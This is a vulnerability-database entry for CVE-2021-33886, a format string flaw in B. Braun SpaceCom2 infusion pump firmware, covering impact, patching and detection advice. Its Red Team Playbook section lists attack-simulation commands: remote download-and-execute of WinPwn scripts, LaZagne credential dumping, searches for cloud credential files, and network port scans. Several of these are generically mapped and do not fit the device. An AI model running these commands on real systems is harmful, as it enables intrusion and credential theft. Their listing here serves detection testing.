CVE-2021-33886
Overview
This vulnerability is a format string flaw (CWE-134) caused by improper sanitization of user-supplied input passed directly to printf-style functions. The affected component is the input handling mechanism within B. Braun SpaceCom2 devices prior to firmware version 012U000062. The flaw arises because raw external strings are not validated or escaped before being processed by output formatting functions, enabling unintended interpretation of format specifiers.
Vulnerability Description
An improper sanitization of input vulnerability in B. Braun SpaceCom2 prior to 012U000062 allows a remote unauthenticated attacker to gain user-level command-line access by passing a raw external string straight through to printf statements. The attacker is required to be on the same network as the device.
Impact
An unauthenticated attacker with access to the same local network can exploit this flaw to execute arbitrary user-level commands on the device via crafted format strings. This enables unauthorized command-line access, potentially allowing manipulation of device operations or data. The vulnerability has high confidentiality and integrity impact (C:H/I:H), and no user interaction is needed (UI:N). This could facilitate lateral movement or compromise of device functionality within a clinical environment.
Solution
B. Braun has released firmware updates addressing this vulnerability in versions starting from 012U000062 onward. Users should apply the latest firmware updates as detailed in B. Braun’s official support channels (https://www.bbraunusa.com/en.htm). McAfee’s advisory (https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/mcafee-enterprise-atr-uncovers-vulnerabilities-in-globally-used-b-braun-infusion-pump/) provides additional context and recommends immediate patching. No specific workarounds are documented; updating to the fixed firmware is required.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in B. Braun SpaceCom2 arises from improper input sanitization, specifically in how the system handles user inputs that are passed directly to printf statements. This flaw allows an attacker to manipulate the output of the system by injecting malicious strings, which can lead to arbitrary command execution. The lack of adequate validation on user inputs means that an attacker can craft a specially formatted string that, when processed by the printf function, can execute unintended commands or expose sensitive information. The severity of this issue is underscored by its high CVSS score, indicating a significant risk to the integrity and confidentiality of the system.
Exploitation of this vulnerability requires the attacker to be on the same network as the affected device, which limits the attack surface but does not eliminate the risk. Attack vectors may include direct access to the device through a local network or exploitation via a compromised machine that has access to the same network segment. An attacker could use social engineering techniques to gain access to the network or exploit other vulnerabilities in connected devices to facilitate their attack. Once on the network, the attacker can send crafted input to the vulnerable system, gaining user-level command-line access and potentially escalating privileges depending on the system configuration.
The real-world impact of this vulnerability is substantial, particularly in healthcare environments where B. Braun SpaceCom2 is utilized. Unauthorized access to command-line interfaces can lead to unauthorized changes in device configurations, manipulation of patient data, or disruption of medical services. The business risks associated with such an incident include reputational damage, regulatory fines, and potential legal liabilities stemming from compromised patient safety and data breaches. Furthermore, the healthcare sector is increasingly targeted by cybercriminals, making the presence of such vulnerabilities particularly concerning.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular network monitoring can help identify unauthorized access attempts or anomalous behavior indicative of exploitation. Additionally, employing intrusion detection systems (IDS) can provide alerts on suspicious activities. Organizations should also ensure that the affected devices are updated to the latest firmware version, which addresses this vulnerability. Furthermore, network segmentation can limit the exposure of critical devices to untrusted networks, reducing the likelihood of exploitation. Finally, educating staff about the risks associated with network security and the importance of safeguarding access can help prevent social engineering attacks that may lead to exploitation.
In conclusion, the improper input sanitization vulnerability in B. Braun SpaceCom2 poses a significant threat to healthcare environments, where the integrity and confidentiality of patient data are paramount. The potential for exploitation underscores the need for robust security measures, including timely updates, network monitoring, and employee training. By adopting a proactive approach to cybersecurity, organizations can mitigate the risks associated with this vulnerability and protect their critical systems from unauthorized access and manipulation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Bbraun | Spacecom2 | All |
cpe:2.3:o:bbraun:spacecom2:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-135 | Format String Injection |
40%
|
High | High | |
| CAPEC-67 | String Format Overflow in syslog() |
33%
|
High | Very High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-33886 |
| bbraunusa.com |
GitHub CVE
x_refsource_MISC
|
https://www.bbraunusa.com/en.htm |
| mcafee.com |
GitHub CVE
x_refsource_MISC
|
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/mcafee-enterprise-atr-uncovers-vulnerabilities-in-globally-used-b-braun-infusion-pump/ |